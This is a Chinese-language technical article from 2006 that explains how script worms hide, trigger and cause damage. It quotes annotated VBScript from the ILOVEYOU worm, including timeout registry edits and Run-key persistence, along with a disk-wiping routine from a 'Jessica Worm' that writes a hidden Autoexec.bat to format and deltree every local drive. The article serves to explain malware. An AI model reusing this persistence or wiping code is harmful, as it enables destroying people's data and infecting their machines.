您现在的位置: IT专家网 > WinSystem子站 > 技巧
高手实例解析蠕虫病毒的原理
作者: 请作者与本站联系, 出处:用户社区, 责任编辑: Harte,
2006-09-30 10:29
如今对大家的电脑威胁最大的就属网络蠕虫病毒了!网络蠕虫病毒的危害之大简直令人吃惊,从大名鼎鼎的“爱虫”到“欢乐时光”,再到“红色代码”,其破坏力越来越强,因此我们有必要了解网络蠕虫病毒
三、蠕虫病毒具有一定的潜伏性
要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码:
| On Error Resume Next '容错语句,避免程序崩溃 dim wscr,rr set wscr=CreateObject ("WScript.Shell") '击活 WScript.Shell 对象 rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") '读入注册表中的超时键值 if (rr>=1) then '超时设置 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if |
上面这部分代码很明显是调整脚本语言的超时设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
| regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" |
其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。怎么样,看出蠕虫病毒是怎样潜伏的吧?
四、蠕虫病毒具有特定的触发性
在这里我们以时间触发为例,使用一个很简单的判断程序,来判断时间到了没有,如果有就开始执行代码。好,我们看看程序:
| x=time () if x=xx.xx.xx then ………… end if |
就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。
五、蠕虫病毒具有很大的破坏性
蠕虫病毒的破坏性大家都有所了解吧?我们以著名的蠕虫病毒Jessica Worm中的部分破坏代码为例来加以分析说明:
| sub killc () '破坏硬盘的过程 On Error Resume Next '容错语句,避免程序崩溃 dim fs,auto,disc,ds,ss,i,x,dir Set fs = CreateObject ("Scripting.FileSystemObject") Set auto = fs.CreateTextFile ("c:\Autoexec.bat", True) '建立或修改自动批处理 auto.WriteLine ("@echo off") '屏蔽掉删除的进程 auto.WriteLine ("Smartdrv") '加载磁盘缓冲,好毒啊! Set disc = fs.Drives '得到驱动器的集合 For Each ds in disc If ds.DriveType = 2 Then '如果驱动器是本地盘 ss = ss & ds.DriveLetter '就将符号连在一起 End if Next ss=LCase (StrReverse (Trim (ss))) '得到符号串的反向小写形式 For i=1 to Len (ss) '遍历每个驱动器 x=Mid (ss,i,1) '读每个驱动器的符号 auto.WriteLine ("format/autotest/q/u "&x&":") '反向 (从Z:到A:)自动格式化驱动器,狠毒啊! next For i=1 to Len (ss) x=Mid (ss,i,1) auto.WriteLine ("deltree/y "&x&":") '怕Format失效用Deltree双保险,知道厉害了吧 next auto.Close '关闭批处理文件 set dir=fs.GetFile ("c:\Autoexec.bat") dir.attributes=dir.attributes+2 '将自动批处理文件改为隐藏 End sub |
- 本文关键词:

